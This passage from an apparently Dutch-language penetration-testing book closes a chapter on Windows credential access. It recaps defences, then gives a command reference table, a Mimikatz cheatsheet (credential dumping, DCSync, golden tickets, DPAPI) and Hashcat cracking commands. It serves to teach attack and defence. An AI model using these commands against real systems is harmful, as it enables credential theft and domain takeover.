Elke stap in deze keten had voorkomen kunnen worden: - Stap 1: Credential Guard op WS01 had de LSASS dump nutteloos gemaakt - Stap 2: LAPS had ervoor gezorgd dat de lokale admin hash niet herbruikbaar was - Stap 3: Tiered administration had voorkomen dat admin.vanderberg op WS01 inlogde - Stap 4: Een password manager (in plaats van PuTTY saved sessions) had het plaintext wachtwoord niet blootgesteld - Stap 5: Protected Users group had credential caching op SRV01 voorkomen

Vijf verdedigingen. Geen van allen geimplementeerd. Niet omdat ze niet bestaan, niet omdat ze te duur zijn, niet omdat ze te complex zijn. Maar omdat er altijd iets “urgenter” was. Een nieuwe feature, een deadline, een migratie. Beveiliging komt later. Beveiliging komt altijd later. Tot het te laat is.


10.12 Referentietabel

Onderwerp IB Command Vereisten Output
LSASS dump (comsvcs.dll) cred_minidump Local admin / SeDebugPrivilege .dmp bestand
LSASS dump (PPL bypass) cred_lsass_ppldump Local admin + driver/exploit .dmp bestand of directe output
SAM/SYSTEM/SECURITY dump cred_sam_dump Local admin Registry hive bestanden
Token impersonation cred_token_impersonate SYSTEM of SeImpersonate Gestolen token/sessie
Mimikatz download (certutil) mimikatz Netwerk naar IB server mimi.exe
Mimikatz download (PowerShell) psmimikatz Netwerk naar IB server mimi.exe
LaZagne download get_lazagne Netwerk naar IB server lazagne.exe

10.13 Aanvullende resources

Mimikatz cheatsheet

# Basis credentials dump
privilege::debug
sekurlsa::logonpasswords

# WDigest wachtwoorden (als ingeschakeld)
sekurlsa::wdigest

# SAM database
lsadump::sam

# DCSync (vereist replication rechten)
lsadump::dcsync /user:DOMAIN\krbtgt
lsadump::dcsync /user:DOMAIN\Administrator
lsadump::dcsync /all /csv

# Token manipulatie
token::elevate
token::elevate /domainadmin

# DPAPI secrets
dpapi::masterkey /in:masterkey_file /rpc
dpapi::cred /in:credential_file

# Kerberos (zie ook hoofdstuk 8)
kerberos::golden /user:Administrator /domain:CORP.LOCAL /sid:S-1-5-21-... /krbtgt:HASH /ptt
kerberos::list
kerberos::purge

Hashcat snelreferentie

# NTLM
hashcat -m 1000 hashes.txt wordlist.txt

# NetNTLMv2 (responder captures)
hashcat -m 5600 hashes.txt wordlist.txt

# Kerberoast
hashcat -m 13100 hashes.txt wordlist.txt

# AS-REP roast
hashcat -m 18200 hashes.txt wordlist.txt

# DCC2 (cached domain credentials)
hashcat -m 2100 hashes.txt wordlist.txt

# Met regels
hashcat -m 1000 hashes.txt wordlist.txt -r best64.rule

# Status checken
hashcat -m 1000 hashes.txt wordlist.txt --show

10.14 Samenvatting

Credential access is de smeerolie van elke netwerkaanval. Zonder credentials sta je stil. Met credentials beweeg je vrij. De technieken zijn niet nieuw, niet geavanceerd, en niet bijzonder creatief. Ze exploiteren een fundamenteel probleem: Windows bewaart credentials in het geheugen, mensen hergebruiken wachtwoorden, en organisaties implementeren de beschikbare verdedigingen niet.

LSASS bevat de kroonjuwelen en is vaak onbeschermd. De SAM database is drie reg save-commando’s verwijderd van volledige blootstelling. Tokens slingeren rond op machines waar admins ooit hebben ingelogd. En LaZagne haalt wachtwoorden op die mensen bewust hebben opgeslagen in hun browser, PuTTY, of WinSCP.

De verdedigingen bestaan: Credential Guard, LAPS, Protected Users, tiered administration. Ze werken. Ze zijn bewezen. Ze zijn beschikbaar zonder extra licentiekosten. Maar ze vereisen inspanning, discipline, en de bereidheid om gebruikers even te laten klagen over het ongemak.

In het volgende hoofdstuk verleggen we onze aandacht naar Active Directory Certificate Services – ADCS – waar we ontdekken dat certificaten net zo misbruikbaar zijn als wachtwoorden, maar dan met een langere houdbaarheid.


Volgende: Hoofdstuk 11 – ADCS